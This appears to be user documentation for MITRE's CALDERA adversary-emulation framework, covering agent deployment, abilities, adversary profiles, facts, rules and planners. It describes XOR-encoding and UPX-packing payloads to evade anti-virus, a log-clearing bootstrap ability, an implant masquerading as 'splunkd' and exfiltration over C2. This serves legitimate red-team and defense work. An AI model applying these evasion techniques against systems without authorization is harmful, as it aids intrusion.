Caldera
Caldera
1 Installing CALDERA 3
1.1 Requirements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Docker Deployment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.4 Offline Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
2 Getting started 5
2.1 Autonomous red-team engagements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.2 Autonomous incident-response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.3 Manual red-team engagements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.4 Research on artificial intelligence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
4 Basic Usage 11
4.1 Agents . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
4.2 Abilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
4.3 Adversary Profiles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
4.4 Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
4.5 Facts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
4.6 Fact sources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
4.7 Rules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
4.8 Planners . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
4.9 Plugins . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
5 Server Configuration 21
5.1 Startup parameters . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.2 Configuration file . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
5.3 Custom configuration files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
5.4 Enabling LDAP login . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
5.5 Setting Custom Login Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
6 Plugin library 25
6.1 Sandcat (54ndc47) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
6.2 Mock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
6.3 Manx . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
6.4 Stockpile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
i
6.5 Response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
6.6 Compass . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
6.7 Caltack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
6.8 SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
6.9 Atomic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
6.10 GameBoard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
6.11 Human . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
6.12 Training . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.13 Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.14 Builder . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
6.15 Debrief . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
8 Objectives 35
8.1 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
8.2 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
9 Operation Results 37
9.1 Operation Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
9.2 Operation Event Logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
12 Dynamically-Compiled Payloads 59
12.1 Basic Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
12.2 Advanced Examples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
13 Exfiltration 65
13.1 Exfiltrating Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
13.2 Accessing Exfiltrated Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
13.3 Accessing Operations Reports . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
13.4 Unencrypting the files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
15 C2 Communications Tunneling 73
15.1 SSH Tunneling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
16 Uninstall CALDERA 77
17 Troubleshooting 79
17.1 Installing CALDERA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
17.2 Starting CALDERA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
17.3 Stopping CALDERA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
17.4 Agent Deployment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
ii
17.5 Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
17.6 Opening Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
18 Resources 83
18.1 Ability List . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
18.2 Lateral Movement Video Tutorial . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
20 An Example 89
20.1 Pre-Work: GitHub . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
20.2 Operation Planning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
20.3 Finding Content . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
20.4 Limiting our results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
20.5 Staging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
20.6 Final Piece: A Password . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
20.7 Operation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
21 Wrap-up 95
26 app 119
26.1 app package . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
iii
Python Module Index 195
Index 197
iv
caldera
CALDERA™ is a cyber security framework designed to easily run autonomous breach-and-simulation exercises. It
can also be used to run manual red-team engagements or automated incident response. CALDERA is built on the
MITRE ATT&CK™ framework and is an active research project at MITRE.
The framework consists of two components:
1. The core system. This is the framework code, including an asynchronous command-and-control (C2) server with
a REST API and a web interface.
2. Plugins. These are separate repositories that hang off of the core framework, providing additional functionality.
Examples include agents, GUI interfaces, collections of TTPs and more.
Visit Installing CALDERA for installation information.
For getting familiar with the project, visit Getting started, which documents step-by-step guides for the most com-
mon use cases of CALDERA, and Basic usage, which documents how to use some of the basic components in core
CALDERA. Visit Learning the terminology for in depth definitions of the terms used throughout the project.
For information about CALDERA plugins, visit Plugin Library and How to Build Plugins if you are interested in
building your own.
USAGE GUIDES 1
caldera
2 USAGE GUIDES
CHAPTER
ONE
INSTALLING CALDERA
1.1 Requirements
1.1.1 Recommended
1.2 Installation
Start by cloning the CALDERA repository recursively, pulling all available plugins. It is recommended to pass the
desired version/release (should be in x.x.x format). Cloning any non-release branch, including master, may result in
bugs.
python3 server.py
Once started, log in to http://localhost:8888 with the red using the password found in the conf/local.yml file
(this file will be generated on server start).
To learn how to use CALDERA, navigate to the Training plugin and complete the capture-the-flag style course.
3
caldera
It is possible to use pip to install CALDERA on a server without internet access. Dependencies will be downloaded to
a machine with internet access, then copied to the offline server and installed.
To minimize issues with this approach, the internet machine’s platform and Python version should match the offline
server. For example, if the offline server runs Python 3.8 on Ubuntu 20.04, then the machine with internet access
should run Python 3.8 and Ubuntu 20.04.
Run the following commands on the machine with internet access. These commands will clone the CALDERA
repository recursively (passing the desired version/release in x.x.x format) and download the dependencies using pip:
The caldera directory now needs to be copied to the offline server (via scp, sneakernet, etc).
On the offline server, the dependencies can then be installed with pip3:
cd caldera
python3 server.py
TWO
GETTING STARTED
CALDERA, as a cybersecurity framework, can be used in several ways. For most users, it will be used to run either
offensive (red) or defensive (blue) operations.
Here are the most common use-cases and basic instructions on how to proceed.
This is the original CALDERA use-case. You can use the framework to build a specific threat (adversary) profile and
launch it in a network to see where you may be susceptible. This is good for testing defenses and training blue teams
on how to detect threats.
The following steps will walk through logging in, deploying an agent, selecting an adversary, and running an operation:
1. Log in as a red user. By default, a “red” user is creating with a password found in the conf/local.yml file
(or conf/default.yml if using insecure settings).
2. Deploy an agent
• Navigate to the Agents page and click the “Click here to deploy an agent”
• Choose the Sandcat (54ndc47) agent and platform (victim operating system)
• Check that the value for app.contact.http matches the host and port the CALDERA server is lis-
tening on
• Run the generated command on the victim machine. Note that some abilities will require elevated privi-
leges, which would require the agent to be deployed in an elevated shell.
• Ensure that a new agent appears in the table on the Agents page
3. Choose an adversary profile
• Navigate to the Adversaries page
• Select an adversary from the dropdown and review abilities. The “Discovery” and “Hunter” adversaries
from the Stockpile plugin are good starting profiles.
4. Run an operation
• Navigate to the Operations page and add an operation by toggling the View/Add switch
• Type in a name for the operation
• Under the basic options, select a group that contains the recently deployed agent (“red” by default)
• Under the basic options, select the adversary profile chosen in the last step
• Click the start button to begin the operation
5
caldera
CALDERA can be used to perform automated incident response through deployed agents. This is helpful for identi-
fying TTPs that other security tools may not see or block.
The following steps will walk through logging in to CALDERA blue, deploying a blue agent, selecting a defender,
and running an operation:
1. Log in as a blue user. By default, a “blue” user is creating with a password found in the conf/local.yml
file (or conf/default.yml if using insecure settings).
2. Deploy a blue agent
• Navigate to the Agents page and click the “Click here to deploy an agent”
• Choose the Sandcat (54ndc47) agent and platform (victim operating system)
• Check that the value for app.contact.http matches the host and port the CALDERA server is lis-
tening on
• Run the generated command on the victim machine. The blue agent should be deployed with elevated
privileges in most cases.
• Ensure that a new blue agent appears in the table on the Agents page
3. Choose a defender profile
• Navigate to the Defenders page
• Select a defender from the dropdown and review abilities. The “Incident responder” defender is a good
starting profile.
4. Choose a fact source. Defender profiles utilize fact sources to determine good vs. bad on a given host.
• Navigate to the Sources page
• Select a fact source and review facts. Consider adding facts to match the environment (for example, add a
fact with the remote.port.unauthorized name and a value of 8000 to detect services running on
port 8000)
• Save the source if any changes were made
5. Run an operation
• Navigate to the Operations page and add an operation by toggling the View/Add switch
• Type in a name for the operation
• Under the basic options, select a group that contains the recently deployed agent (“blue” by default)
• Under the basic options, select the defender profile chosen previously
• Under the autonomous menu, select the fact source chosen previously
• Click the start button to begin the operation
6. Review the operation
• While the operation is running, abilities will be executed on the deployed agent. Click the stars next to run
abilities to view the output.
• Consider manually running commands (or using an automated adversary) which will trigger incident
response actions (such as starting a service on an unauthorized port)
7. Export operation results
• Once the operation finishes, users can export operation reports in JSON format by clicking the “Download
report” button in the operation GUI modal. Users can also export operation event logs in JSON format by
clicking the “Download event logs” button in the operations modal. The event logs will also be automati-
cally written to disk when the operation finishes. For more information on the various export formats and
automatic/manual event log generation, see the Operation Result page.
CALDERA can be used to perform manual red-team assessments using the Manx agent. This is good for replacing
or appending existing offensive toolsets in a manual assessment, as the framework can be extended with any custom
tools you may have.
The following steps will walk through logging in, deploying a Manx agent, and running manual commands:
1. Log in as a red user
2. Deploy a Manx agent
• Navigate to the Agents page and click the “Click here to deploy an agent”
• Choose the Manx agent and platform (victim operating system)
• Check that the values for app.contact.http, app.contact.tcp, and app.contact.udp
match the host and ports the CALDERA server is listening on
• Run the generated command on the victim machine
• Ensure that a new agent appears in the table on the Agents page
3. Deploy a Manx agent
• Navigate to the Manx plugin
• Select the deployed agent in the session dropdown
• Run manual commands in the terminal window
CALDERA can be used to test artificial intelligence and other decision-making algorithms using the Mock plugin.
The plugin adds simulated agents and mock ability responses, which can be used to run simulate an entire operation.
To use the mock plugin:
1. With the server stopped, enable the mock plugin. Restart the server.
2. Log in as a red user
3. In the Agents modal, review the simulated agents that have been spun up
4. Run an operation using any adversary against your simulated agents. Note how the operation runs non-
deterministically.
5. Adjust the decision logic in a planner, such as the batch.py planner in the Stockpile plugin, to test out
different theories
THREE
3.1 Agents
Agents are software programs that connect back to CALDERA at certain intervals to get instructions. Agents commu-
nicate with the CALDERA server via a contact method, initially defined at agent install.
Installed agents appear in the UI in the Agents dialog. Agents are identified by their unique paw - or paw print.
CALDERA includes a number of agent programs, each adding unique functionality. A few examples are listed below:
• Sandcat (54ndc47): A GoLang agent which communicates through HTTP, Git, or P2P over SMB contacts
• Manx: A GoLang agent which communicates via the TCP contact and functions as a reverse-shell
• Ragdoll: A Python agent which communicates via the HTML contact
Agents can be placed into a group, either at install through command line flags or by editing the agent in the UI. These
groups are used when running an operation to determine which agents to execute abilities on.
The group determines whether an agent is a “red agent” or a “blue agent”. Any agent started in the “blue” group will
be accessible from the blue dashboard. All other agents will be accessible from the red dashboard.
An ability is a specific ATT&CK tactic/technique implementation which can be executed on running agents. Abilities
will include the command(s) to run, the platforms / executors the commands can run on (ex: Windows / PowerShell),
payloads to include, and a reference to a module to parse the output on the CALDERA server.
Adversary profiles are groups of abilities, representing the tactics, techniques, and procedures (TTPs) available to a
threat actor. Adversary profiles are used when running an operation to determine which abilities will be executed.
3.3 Operations
Operations run abilities on agent groups. Adversary profiles are used to determine which abilities will be run and agent
groups are used to determine which agents the abilities will be run on.
The order in which abilities are run is determined by the planner. A few examples of planners included, by default, in
CALDERA are listed below:
• atomic: Run abilities in the adversary profile according to the adversary’s atomic ordering
• batch: Run all abilities in the adversary profile at once
• buckets: Run abilities in the adversary profile grouped by ATT&CK tactic
9
caldera
When an ability is run in an operation, a link is generated for each agent if:
1. All link facts and fact requirements have been fulfilled
2. The agent has an executor that the ability is configured to run on
3. The agent has not yet run the ability, or the ability is marked as repeatable
A fact is an identifiable piece of information about a given computer. Fact names are referenced in ability files and
will be replaced with the fact values when a link is created from the ability.
Link commands can be obfuscated, depending on the stealth settings of the operation.
Generated links are added to the operation chain. The chain contains all links created for the operation.
When an agents checks in, it will collect its instructions. The instructions are then run, depending on the executor
used, and results are sent back to the CALDERA server.
Then the results are received, CALDERA will use a parser to add any collected facts to the operation. Parsers analyze
the output of an ability to extract potential facts. If potential facts are allowed through the fact rules, the fact is added
to the operation for use in future links.
3.4 Plugins
CALDERA is a framework extended by plugins. These plugins provide CALDERA with extra functionality in some
way.
Multiple plugins are included by default in CALDERA. A few noteworthy examples are below, though a more com-
plete and detailed list can be found on the Plugin Library page:
• Sandcat: The Sandcat agent is the recommended agent for new users
• Stockpile: This plugin holds the majority of open-source abilities, adversaries, planners, and obfuscators created
by the CALDERA team
• Training: The training plugin walks users through most of CALDERA’s functionality – recommended for new
users
FOUR
BASIC USAGE
4.1 Agents
To deploy an agent:
1. Navigate to the Agents tab and click the “Click here to deploy an agent” button
2. Choose an agent (Sandcat is a good one to start with) and a platform (operating system)
3. Make sure the agent options are correct (ex: ensure app.contact.http matches the expected host and port
for the CALDERA server)
4. Choose a command to execute on the target machine
5. On the target machine, paste the command into the terminal or command prompt and run
6. The new agent should appear in the table on the Agents tab (if the agent does not appear, check the Agent
Deployment section of the Troubleshooting page)
To kill an agent, use the “Kill Agent” button under the agent-specific settings. The agent will terminate on its next
beacon.
To remove the agent from CALDERA (will not kill the agent), click the red X. Running agents remove from
CALDERA will reappear when they check in.
11
caldera
• Deadman Abilities: A comma-separated list of ability IDs to be run immediately prior to agent termination.
The agent must support deadman abilities in order for them to run.
Agents have a number of agent-specific settings that can be modified by clicking on the button under the ‘PID’ column
for the agent:
• Group: Agent group
• Sleep: Beacon minimum and maximum sleep timers for this specific agent, separated by a forward slash (/)
• Watchdog: The watchdog timer setting for this specific agent
4.2 Abilities
The majority of abilities are stored inside the Stockpile plugin (plugins/stockpile/data/abilities),
along the adversary profiles which use them. Abilities created through the UI will be placed in data/abilities.
Here is a sample ability:
- id: 9a30740d-3aa8-4c23-8efa-d51215e8a5b9
name: Scan WIFI networks
description: View all potential WIFI networks on host
tactic: discovery
technique:
attack_id: T1016
name: System Network Configuration Discovery
platforms:
darwin:
sh:
command: |
./wifi.sh scan
payload: wifi.sh
linux:
sh:
command: |
./wifi.sh scan
payload: wifi.sh
windows:
psh:
command: |
.\wifi.ps1 -Scan
payload: wifi.ps1
Things to note:
• Each ability has a random UUID id
• Each ability requires a name, description, ATT&CK tactic and technique information
• Each ability requires a platforms list, which should contain at least 1 block for a supported operating system
(platform). Currently, abilities can be created for Windows, Linux, and Darwin (MacOS).
• Abilities can be added to an adversary through the GUI with the ‘add ability’ button
• The singleton field (optional, placed at the top level, expects True or False) specifies that the ability should only
be run successfully once - after it succeeds, it should not be run again in the same operation. The default value,
if not provided, is False.
• The repeatable field (optional, placed at the top level, expects True or False) specifies that the ability can be
repeated as many times as the planner desires. The default value, if not provided, is False.
Please note that only one of singleton or repeatable should be True at any one time - singleton operates at an operational
level, and repeatable at an agent level. If both are true at the same time, Caldera may behave unexpected.
For each platform, there should be a list of executors. In the default Sandcat deployment, Darwin and Linux platforms
can use sh and Windows can use psh (PowerShell) or cmd (command prompt).
Each platform block consists of a:
• command (required)
• payload (optional)
• uploads (optional)
• cleanup (optional)
• parsers (optional)
• requirements (optional)
• timeout (optional)
Command: A command can be 1-line or many and should contain the code you would like the ability to execute.
Newlines in the command will be deleted before execution. The command can (optionally) contain variables, which
are identified as #{variable}.
Prior to execution of a command, CALDERA will search for variables within the command and attempt to replace
them with values. The values used for substitution depend on the type of the variable in the command: user-defined or
global variable. User-defined variables are associated with facts can be filled in with fact values from fact sources or
parser output, while global variables are filled in by CALDERA internally and cannot be substituted with fact values.
The following global variables are defined within CALDERA:
• #{server} references the FQDN of the CALDERA server itself. Because every agent may know the location
of CALDERA differently, using the #{server} variable allows you to let the system determine the correct
location of the server.
• #{group} is the group a particular agent is a part of. This variable is mainly useful for lateral movement,
where your command can start an agent within the context of the agent starting it.
• #{paw} is the unique identifier - or paw print - of the agent.
• #{location} is the location of the agent on the client file system.
• #{exe_name} is the executable name of the agent.
• #{upstream_dest} is the address of the immediate “next hop” that the agent uses to reach the CALDERA
server. For agents that directly connect to the server, this will be the same as the #{server} value. For agents
that use peer-to-peer, this value will be the peer address used.
• #{origin_link_id} is the internal link ID associated with running this command used for agent tracking.
• #{payload} and #{payload:<uuid>} are used primarily in cleanup commands to denote a payload file
downloaded by an agent.
• #{app.*} are configuration items found in your main CALDERA configuration (e.g., conf/default.
yml) with a prefix of app.. Variables starting with app. that are not found in the CALDERA configuration
are not treated as global variables and can be subject to fact substitution.
Payload: A comma-separated list of files which the ability requires in order to run. In the windows executor above,
the payload is wifi.ps1. This means, before the ability is used, the agent will download wifi.ps1 from CALDERA. If
the file already exists, it will not download it. You can store any type of file in the payload directories of any plugin.
4.2. Abilities 13
caldera
Did you know that you can assign functions to execute on the server when specific payloads are requested
for download? An example of this is the sandcat.go file. Check the plugins/sandcat/hook.py file to see
how special payloads can be handled.
Payloads can be stored as regular files or you can xor (encode) them so the anti-virus on the server-side does not pick
them up. To do this, run the app/utility/payload_encoder.py against the file to create an encoded version of it. Then
store and reference the encoded payload instead of the original.
The payload_encoder.py file has a docstring which explains how to use the utility.
Payloads also can be ran through a packer to obfuscate them further from detection on a host machine. To do this you
would put the packer module name in front of the filename followed by a colon ‘:’. This non-filename character will
be passed in the agent’s call to the download endpoint, and the file will be packed before sending it back to the agent.
UPX is currently the only supported packer, but adding addition packers is a simple task.
An example for setting up for a packer to be used would be editing the filename in the payload section of
an ability file: - upx:Akagi64.exe
Uploads: A list of files which the agent will upload to the C2 server after running the ability command. The filepaths
can be specified as local file paths or absolute paths. The ability assumes that these files will exist during the time of
upload.
Below is an example ability that uses the uploads keyword:
---
- id: 22b9a90a-50c6-4f6a-a1a4-f13cb42a26fd
name: Upload file example
description: Example ability to upload files
tactic: exfiltration
technique:
attack_id: T1041
name: Exfiltration Over C2 Channel
platforms:
darwin,linux:
sh:
command: |
echo "test" > /tmp/absolutepath.txt;
echo "test2" > ./localpath.txt;
cleanup: |
rm -f /tmp/absolutepath.txt ./localpath.txt;
uploads:
- /tmp/absolutepath.txt
- ./localpath.txt
Cleanup: An instruction that will reverse the result of the command. This is intended to put the computer back into
the state it was before the ability was used. For example, if your command creates a file, you can use the cleanup to
remove the file. Cleanup commands run after an operation, in the reverse order they were created. Cleaning up an
operation is also optional, which means you can start an operation and instruct it to skip all cleanup instructions.
Cleanup is not needed for abilities, like above, which download files through the payload block. Upon an operation
completing, all payload files will be removed from the client (agent) computers.
Parsers: A list of parsing modules which can parse the output of the command into new facts. Interested in this topic?
Check out how CALDERA makes decisions which goes into detail about parsers.
Abilities can also make use of two CALDERA REST API endpoints, file upload and download.
Requirements: Required relationships of facts that need to be established before this ability can be used.
Timeout: How many seconds to allow the command to run.
Bootstrap Abilities are abilities that run immediately after sending their first beacon in. A bootstrap ability can be
added through the GUI by entering the ability id into the ‘Bootstrap Abilities’ field in the ‘Agents’ tab. Alternatively,
you can edit the conf/agents.yml file and include the ability id in the bootstrap ability section of the file (ensure
the server is turned off before editing any configuration files).
Deadman Abilities are abilities that an agent runs just before graceful termination. When the Caldera server receives an
initial beacon from an agent that supports deadman abilities, the server will immediately send the configured deadman
abilities, along with any configured bootstrap abilities, to the agent. The agent will save the deadman abilities and
execute them if terminated via the GUI or if self-terminating due to watchdog timer expiration or disconnection from
the C2. Deadman abilities can be added through the GUI by entering a comma-separated list of ability IDs into the
‘Deadman Abilities’ field in the ‘Agents’ tab. Alternatively, you can edit the ‘conf/agents.yml’ file and include the
ability ID in the ‘deadman_abilities’ section of the file (ensure the server is turned off before editing any configuration
files).
Below is an example conf/agents.yml file with configured bootstrap and deadman abilities:
bootstrap_abilities:
- 43b3754c-def4-4699-a673-1d85648fda6a # Clear and avoid logs
deadman_abilities:
- 5f844ac9-5f24-4196-a70d-17f0bd44a934 # delete agent executable upon termination
implant_name: splunkd
sleep_max: 60
sleep_min: 30
untrusted_timer: 90
watchdog: 0
deployments:
- 2f34977d-9558-4c12-abad-349716777c6b #54ndc47
- 356d1722-7784-40c4-822b-0cf864b0b36d #Manx
- 0ab383be-b819-41bf-91b9-1bd4404d83bf #Ragdoll
The majority of adversary profiles are stored inside the Stockpile plugin (plugins/stockpile/data/
adversaries). Adversary profiles created through the UI will be placed in data/adversaries.
Adversaries consist of an objective (optional) and a list of abilities under atomic_ordering. This ordering determines
the order in which abilities will be run.
An example adversary is below:
id: 5d3e170e-f1b8-49f9-9ee1-c51605552a08
name: Collection
description: A collection adversary
objective: 495a9828-cab1-44dd-a0ca-66e58177d8cc
atomic_ordering:
- 1f7ff232-ebf8-42bf-a3c4-657855794cfe #find company emails
- d69e8660-62c9-431e-87eb-8cf6bd4e35cf #find ip addresses
- 90c2efaa-8205-480d-8bb6-61d90dbaf81b #find sensitive files
- 6469befa-748a-4b9c-a96d-f191fde47d89 #create staging dir
4.4 Operations
4.5 Facts
A fact is an identifiable piece of information about a given computer. Facts can be used to perform variable assignment
within abilities.
Facts are composed of the following:
• name: a descriptor which identifies the type of the fact and can be used for variable names within abilities. Ex-
ample: host.user.name. Note that CALDERA 3.1.0 and earlier required fact names/traits to be formatted
as major.minor.specific but this is no longer a requirement.
• value: any arbitrary string. An appropriate value for a host.user.name may be “Administrator” or “John”.
• score: an integer which associates a relative importance for the fact. Every fact, by default, gets a score of 1. If
a host.user.password fact is important or has a high chance of success if used, you may assign it a score
of 5. When an ability uses a fact to fill in a variable, it will use those with the highest scores first. If a fact has a
score of 0, it will be blocklisted - meaning it cannot be used in the operation.
If a property has a prefix of host. (e.g., host.user.name) that fact will only be used by the host that
collected it.
As hinted above, when CALDERA runs abilities, it scans the command and cleanup instructions for variables. When
it finds one, it then looks at the facts it has and sees if it can replace the variables with matching facts (based on the
property). It will then create new variants of each command/cleanup instruction for each possible combination of facts
it has collected. Each variant will be scored based on the cumulative score of all facts inside the command. The highest
scored variants will be executed first.
Facts can be added or modified through the GUI by navigating to Advanced -> Sources and clicking on ‘+ add row’.
A fact source is a collection of facts that you have grouped together. A fact source can be applied to an operation when
you start it, which gives the operation facts to fill in variables with.
Fact sources can be added or modified through the GUI by navigating to Advanced -> Sources.
4.7 Rules
A rule is a way of restricting or placing boundaries on CALDERA. Rules are directly related to facts and should be
included in a fact sheet.
Rules act similar to firewall rules and have three key components: fact, action, and match
1. Fact specifies the name of the fact that the rule will apply to
2. Action (ALLOW, DENY) will allow or deny the fact from use if it matches the rule
3. Match regex rule on a fact’s value to determine if the rule applies
During an operation, the planning service matches each link against the rule-set, discarding it if any of the fact assign-
ments in the link match a rule specifying DENY and keeping it otherwise. In the case that multiple rules match the
same fact assignment, the last one listed will be given priority.
Example
rules:
- action: DENY
fact: file.sensitive.extension
match: .*
- action: ALLOW
fact: file.sensitive.extension
match: txt
In this example only the txt file extension will be used. Note that the ALLOW action for txt supersedes the DENY for
all, as the ALLOW rule is listed later in the policy. If the ALLOW rule was listed first, and the DENY rule second,
then all values (including txt) for file.sensitive.extension would be discarded.
4.7.1 Subnets
- action: DENY
fact: my.host.ip
match: .*
- action: ALLOW
fact: my.host.ip
match: 10.245.112.0/24
In this example, the rules would permit CALDERA to only operate within the 10.245.112.1 to 10.245.112.254 range.
Rules can be added or modified through the GUI by navigating to Advanced -> Sources and clicking on ‘+ view rules’.
4.8 Planners
A planner is a module within CALDERA which contains logic for how a running operation should make decisions
about which abilities to use and in what order.
Planners are single module Python files. Planners utilize the core system’s planning_svc.py, which has planning logic
useful for various types of planners.
CALDERA ships with a default planner, atomic. The atomic planner operates by atomically sending a single ability
command to each agent in the operation’s group at a time, progressing through abilities as they are enumerated in the
underyling adversary profile. When a new agent is added to the operation, the atomic planner will start with the first
ability in the adversary profile.
The atomic planner can be found in the mitre/stockpile GitHub repository at app/atomic.py.
For any other planner behavior and functionality, a custom planner is required. CALDERA has open sourced some
custom planners, to include the batch and buckets planners. From time to time, the CALDERA team will open source
further planners as they become more widely used, publicly available, etc.
The batch planner will retrieve all ability commands available and applicable for the operation and send them to the
agents found in the operation’s group. The batch planner uses the planning service to retrieve ability commands based
on the chosen advsersary and known agents in the operation. The abilities returned to the batch planner are based on the
agent matching the operating system (execution platform) of the ability and the ability command having no unsatisfied
facts. The batch planner will then send these ability commands to the agents and wait for them to be completed. After
each batch of ability commands is completed, the batch planner will again attempt to retrieve all ability commands
available for the operation and attempt to repeat the cycle. This is required as once ability commands are executed,
new additional ability commands may also become unlocked; e.g. required facts being present now, newly spawned
agents, etc. The batch planner should be used for profiles containing repeatable abilities.
The buckets planner is an example planner to demonstrate how to build a custom planner as well as the planning
service utilities available to planners to aid in the formation decision logic.
The batch and buckets planners can be found in the mitre/stockpile github repository at app/batch.py and
app/buckets.py.
See How to Build Planners for full walkthrough of how to build a custom planner and incorporate any custom decision
logic that is desired.
When creating a new operation, selecting a profile with repeatable abilities will disable both the atomic and the buckets
planners. Due to the behavior and functionality of these planners, repeatable abilities will result in the planner looping
infinitely on the repeatable ability. It is recommended to use the batch planner with profiles containing repeatable
abilities.
4.9 Plugins
CALDERA is built using a plugin architecture on top of the core system. Plugins are separate git repositories that
plug new features into the core system. Each plugin resides in the plugins directory and is loaded into CALDERA by
adding it to the local.yml file.
Plugins can be added through the UI or in the configuration file (likely conf/local.yml). Changes to the config-
uration file while the server is shut down. The plugins will be enabled when the server restarts.
Each plugin contains a single hook.py file in its root directory. This file should contain an initialize function, which
gets called automatically for each loaded plugin when CALDERA boots. The initialize function contains the plugin
logic that is getting “plugged into” the core system. This function takes a single parameter:
• services: a list of core services that live inside the core system.
A plugin can add nearly any new functionality/features to CALDERA by using the two objects above.
A list of plugins included with CALDERA can be found on the Plugin library page.
4.9. Plugins 19
caldera
FIVE
SERVER CONFIGURATION
Caldera’s configuration file is located at conf/local.yml, written on the first run. If the server is run with the
--insecure option (not recommended), CALDERA will use the file located at conf/default.yml.
Configuration file changes must be made while the server is shut down. Any changes made to the configuration file
while the server is running will be overwritten.
The YAML configuration file contains all the configuration variables CALDERA requires to boot up and run. A
documented configuration file is below:
ability_refresh: 60 # Interval at which ability YAML files will refresh from disk
